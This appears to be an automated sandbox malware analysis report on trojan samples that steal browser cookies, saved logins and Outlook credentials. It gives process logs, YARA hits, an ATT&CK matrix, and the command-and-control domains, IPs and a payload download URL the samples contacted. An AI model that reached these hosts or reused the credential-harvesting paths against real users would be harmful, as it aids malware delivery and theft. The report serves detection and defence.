Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"	Jump to behavior

Source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357489799.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3703470279.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000000.1500766620.0000000001AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357489799.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3703470279.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000000.1500766620.0000000001AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357489799.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3703470279.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000000.1500766620.0000000001AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: xQUrWfQeELsQZII.exe, 0000000D.00000000.1357489799.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 0000000D.00000002.3703470279.0000000000CC0000.00000002.00000001.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000000.1500766620.0000000001AB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Queries volume information: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\chkntfs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
8hd98EhtIFcYkb8.exe	29%	ReversingLabs	ByteCode-MSIL.Trojan.XWorm
8hd98EhtIFcYkb8.exe	100%	Avira	HEUR/AGEN.1308761
8hd98EhtIFcYkb8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\EuOdzX7Ehz6t1H3[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.foryourhealth19.com/ym7q/	100%	Avira URL Cloud	malware
http://www.xn--gotopia-bya.com	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://www.vivaepicmarbella.com/e5cg/?FTP84=+iRPR6b0cHsvtSIKktiBhFksQ3J0g8xQjEPnQEYx5YYVoEZd7QcDm2acLw7Tj1bPoKM8M2uZ1cEL1EuWaogQQhFlafU2EKFDhhDWP+Lh20TqHHOR+DrFC95KlJHLt9tMC+FdDZkSCqct&Lb=GFtlIrHx8T50	0%	Avira URL Cloud	safe
http://www.tufftiff.xyz/vwgn/?FTP84=5ueMAWSl8HCdHaQ4ISZ1AQXhc5gyPvE6M+De+X7bZoAB9UCIok5O2fARcoTif8zUuE/VgVKiECkkSJ85U3W5QFFnp/YrlC4tzeltTmpoeWoUEn2HXZmMuQrIM+LIMwiHVH8SJcx756eW&Lb=GFtlIrHx8T50	0%	Avira URL Cloud	safe
https://img.sedoparking.com/templates/bg/NameSiloLogo.png	0%	Avira URL Cloud	safe
http://www.erhaltungsmassage.com/ky1l/?Lb=GFtlIrHx8T50&FTP84=rq50Wd1lMHFX8odFqcPFBXSYTeLeWZzOZdEKt1q2Ng0jiW/1UU7Cv6Tb1vTcZWKNTv6a7aX5qQrtM6kOVx9AgvgUe5/Bja5gpUFr8IDyktkkvNGNZ4xEuXwKitfXYUFnVmIVCEjvmGcp	0%	Avira URL Cloud	safe
http://www.86wqi.cyou/80eg/	0%	Avira URL Cloud	safe
http://lookstudiov.com/u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q	0%	Avira URL Cloud	safe
http://www.lookstudiov.com/u4jq/	0%	Avira URL Cloud	safe
http://www.vivaepicmarbella.com/e5cg/	0%	Avira URL Cloud	safe
http://www.ridcoredry.live/blq3/?Lb=GFtlIrHx8T50&FTP84=/QAAm0GouadCsSjm0XCQ0NNd9BYFgPCeNdHOqYXBISGV1GFo4SB1zqqUvhYZ4jEo/5lijPf3qt+9x6u7W4DslmBYMZTBtvuPQphb+44RgWDcLgkceETeTezSGqdjX9slNk8GIp6396hv	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://www.namesilo.com/domain/search-domains?query=ridcoredry.live	0%	Avira URL Cloud	safe
http://www.tufftiff.xyz/vwgn/	0%	Avira URL Cloud	safe
http://www.foryourhealth19.com/ym7q/?Lb=GFtlIrHx8T50&FTP84=UxZF11kgGMhVJ3h1mYaBYZj5xwuySTV9/R2JXFp47AYwysMhWE1l+EvBnUyCPTtksKPA2Ite2ltCL7XTNGD56H2fTiCax6/BQq0vjYK7AyFfq6kTJWJKbnRCSHQhd4Mpl36RQO9kaMTf	100%	Avira URL Cloud	malware
http://www.ridcoredry.live/blq3/	100%	Avira URL Cloud	phishing
http://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk+2X+Pq/xYmmvIQcMng+aGKp/N3zIo6PNXS6jtUQwBpM9XRiN/OVETSVEN1Q9JXY1u8NKleTflw9Of0xlNOdKZA91JkeaJQbbmRkx&Lb=GFtlIrHx8T50	0%	Avira URL Cloud	safe
https://www.namesilo.com	0%	Avira URL Cloud	safe
http://www.botokkkd4.top/i6sl/?Lb=GFtlIrHx8T50&FTP84=qssHGV29j0ZCAjpN6QtzDw+gnCiynPmFES/c0m6mTWJ8eKXYeJPjMTEVk7GvbqhDwPeBMRZatQ3ofr/5XjUfaZC8rCPfXyoknOgmUV1BLU/3HLT18Q+LgoHdoh8bcR/ofs2EqraVghMO	0%	Avira URL Cloud	safe
http://www.botokkkd4.top/i6sl/	0%	Avira URL Cloud	safe
http://www.filmbrute.com/vgf2/	0%	Avira URL Cloud	safe
http://www.86wqi.cyou/80eg/?Lb=GFtlIrHx8T50&FTP84=/gUd74TM946IZLQfFCjFFoMEh/bZ058Y5fxYbd7lsAuEu+8WJ/21FtYOGJlKUg3YeQ1lkwlhlDEwsFjwCVkjP3HgvWH+eFvT+Cr55kx1O3kSIIeygKzK78qTqiVgNqoEH3t5dFc0+pi4	0%	Avira URL Cloud	safe
https://www.sedo.com/services/parking.php3	0%	Avira URL Cloud	safe
http://www.cr-pos.com/b9jt/	0%	Avira URL Cloud	safe
http://www.cvt-auto.ru/1cpo/	0%	Avira URL Cloud	safe
http://www.cr-pos.com/b9jt/?FTP84=I6wqk3vZ0MIwducyeDc5a1RUJrCEqnXhmjD4iKeo+QzF3CVziIh9NSuBhJSHyIOtb6QEc0JQU3wLuke4KM9e0eKAxB2ADTUoySVeubTpqpeKSrgjLWx1k8qzQ8FFILh8qZ99MFd/cRWi&Lb=GFtlIrHx8T50	0%	Avira URL Cloud	safe
http://www.xn--gotopia-bya.com/ynea/	0%	Avira URL Cloud	safe
https://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk	0%	Avira URL Cloud	safe
http://185.234.72.101/EuOdzX7Ehz6t1H3.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
xn--gotopia-bya.com	84.32.84.32	true	false	unknown
www.oyoing.com	127.0.0.1	true	false	unknown
www.foryourhealth19.com	172.67.194.145	true	true	unknown
botokkkd4.top	43.198.80.127	true	true	unknown
www.ridcoredry.live	91.195.240.123	true	true	unknown
www.86wqi.cyou	38.55.194.30	true	true	unknown
www.tufftiff.xyz	162.0.238.43	true	true	unknown
www.cr-pos.com	192.250.231.28	true	true	unknown
www.erhaltungsmassage.com	217.160.0.31	true	true	unknown
www.lookstudiov.com	74.208.236.162	true	true	unknown
www.filmbrute.com	38.207.19.49	true	true	unknown
www.vivaepicmarbella.com	46.30.215.51	true	true	unknown
www.cvt-auto.ru	45.130.41.249	true	true	unknown
www.antifabricated.com	unknown	unknown	true	unknown
www.xn--gotopia-bya.com	unknown	unknown	true	unknown
www.botokkkd4.top	unknown	unknown	true	unknown
www.oudcafeae.online	unknown	unknown	true	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.foryourhealth19.com/ym7q/	true	Avira URL Cloud: malware	unknown
http://www.tufftiff.xyz/vwgn/?FTP84=5ueMAWSl8HCdHaQ4ISZ1AQXhc5gyPvE6M+De+X7bZoAB9UCIok5O2fARcoTif8zUuE/VgVKiECkkSJ85U3W5QFFnp/YrlC4tzeltTmpoeWoUEn2HXZmMuQrIM+LIMwiHVH8SJcx756eW&Lb=GFtlIrHx8T50	true	Avira URL Cloud: safe	unknown
http://www.vivaepicmarbella.com/e5cg/?FTP84=+iRPR6b0cHsvtSIKktiBhFksQ3J0g8xQjEPnQEYx5YYVoEZd7QcDm2acLw7Tj1bPoKM8M2uZ1cEL1EuWaogQQhFlafU2EKFDhhDWP+Lh20TqHHOR+DrFC95KlJHLt9tMC+FdDZkSCqct&Lb=GFtlIrHx8T50	true	Avira URL Cloud: safe	unknown
http://www.86wqi.cyou/80eg/	true	Avira URL Cloud: safe	unknown
http://www.erhaltungsmassage.com/ky1l/?Lb=GFtlIrHx8T50&FTP84=rq50Wd1lMHFX8odFqcPFBXSYTeLeWZzOZdEKt1q2Ng0jiW/1UU7Cv6Tb1vTcZWKNTv6a7aX5qQrtM6kOVx9AgvgUe5/Bja5gpUFr8IDyktkkvNGNZ4xEuXwKitfXYUFnVmIVCEjvmGcp	true	Avira URL Cloud: safe	unknown
http://www.lookstudiov.com/u4jq/	true	Avira URL Cloud: safe	unknown
http://www.ridcoredry.live/blq3/?Lb=GFtlIrHx8T50&FTP84=/QAAm0GouadCsSjm0XCQ0NNd9BYFgPCeNdHOqYXBISGV1GFo4SB1zqqUvhYZ4jEo/5lijPf3qt+9x6u7W4DslmBYMZTBtvuPQphb+44RgWDcLgkceETeTezSGqdjX9slNk8GIp6396hv	true	Avira URL Cloud: phishing	unknown
http://www.vivaepicmarbella.com/e5cg/	true	Avira URL Cloud: safe	unknown
http://www.tufftiff.xyz/vwgn/	true	Avira URL Cloud: safe	unknown
http://www.foryourhealth19.com/ym7q/?Lb=GFtlIrHx8T50&FTP84=UxZF11kgGMhVJ3h1mYaBYZj5xwuySTV9/R2JXFp47AYwysMhWE1l+EvBnUyCPTtksKPA2Ite2ltCL7XTNGD56H2fTiCax6/BQq0vjYK7AyFfq6kTJWJKbnRCSHQhd4Mpl36RQO9kaMTf	true	Avira URL Cloud: malware	unknown
http://www.ridcoredry.live/blq3/	true	Avira URL Cloud: phishing	unknown
http://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk+2X+Pq/xYmmvIQcMng+aGKp/N3zIo6PNXS6jtUQwBpM9XRiN/OVETSVEN1Q9JXY1u8NKleTflw9Of0xlNOdKZA91JkeaJQbbmRkx&Lb=GFtlIrHx8T50	true	Avira URL Cloud: safe	unknown
http://www.botokkkd4.top/i6sl/?Lb=GFtlIrHx8T50&FTP84=qssHGV29j0ZCAjpN6QtzDw+gnCiynPmFES/c0m6mTWJ8eKXYeJPjMTEVk7GvbqhDwPeBMRZatQ3ofr/5XjUfaZC8rCPfXyoknOgmUV1BLU/3HLT18Q+LgoHdoh8bcR/ofs2EqraVghMO	true	Avira URL Cloud: safe	unknown
http://www.botokkkd4.top/i6sl/	true	Avira URL Cloud: safe	unknown
http://www.filmbrute.com/vgf2/	true	Avira URL Cloud: safe	unknown
http://www.86wqi.cyou/80eg/?Lb=GFtlIrHx8T50&FTP84=/gUd74TM946IZLQfFCjFFoMEh/bZ058Y5fxYbd7lsAuEu+8WJ/21FtYOGJlKUg3YeQ1lkwlhlDEwsFjwCVkjP3HgvWH+eFvT+Cr55kx1O3kSIIeygKzK78qTqiVgNqoEH3t5dFc0+pi4	true	Avira URL Cloud: safe	unknown
http://www.cr-pos.com/b9jt/?FTP84=I6wqk3vZ0MIwducyeDc5a1RUJrCEqnXhmjD4iKeo+QzF3CVziIh9NSuBhJSHyIOtb6QEc0JQU3wLuke4KM9e0eKAxB2ADTUoySVeubTpqpeKSrgjLWx1k8qzQ8FFILh8qZ99MFd/cRWi&Lb=GFtlIrHx8T50	true	Avira URL Cloud: safe	unknown
http://www.cr-pos.com/b9jt/	true	Avira URL Cloud: safe	unknown
http://www.cvt-auto.ru/1cpo/	true	Avira URL Cloud: safe	unknown
http://www.xn--gotopia-bya.com/ynea/	false	Avira URL Cloud: safe	unknown
http://185.234.72.101/EuOdzX7Ehz6t1H3.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.sedoparking.com/templates/bg/NameSiloLogo.png	chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xn--gotopia-bya.com	xQUrWfQeELsQZII.exe, 00000010.00000002.3708009401.00000000058AA000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lookstudiov.com/u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q	chkntfs.exe, 0000000E.00000002.3707027734.0000000005B20000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004170000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.namesilo.com/domain/search-domains?query=ridcoredry.live	chkntfs.exe, 0000000E.00000002.3709714748.00000000076C0000.00000004.00000800.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.namesilo.com	chkntfs.exe, 0000000E.00000002.3709714748.00000000076C0000.00000004.00000800.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sedo.com/services/parking.php3	xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aj34fjqh.exe, 00000018.00000002.3098875657.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk	chkntfs.exe, 0000000E.00000002.3707027734.00000000062FA000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.000000000494A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.238.43	www.tufftiff.xyz	Canada	22612	NAMECHEAP-NETUS	true
43.198.80.127	botokkkd4.top	Japan	4249	LILLY-ASUS	true
46.30.215.51	www.vivaepicmarbella.com	Denmark	51468	ONECOMDK	true
217.160.0.31	www.erhaltungsmassage.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
84.32.84.32	xn--gotopia-bya.com	Lithuania	33922	NTT-LT-ASLT	false
91.195.240.123	www.ridcoredry.live	Germany	47846	SEDO-ASDE	true
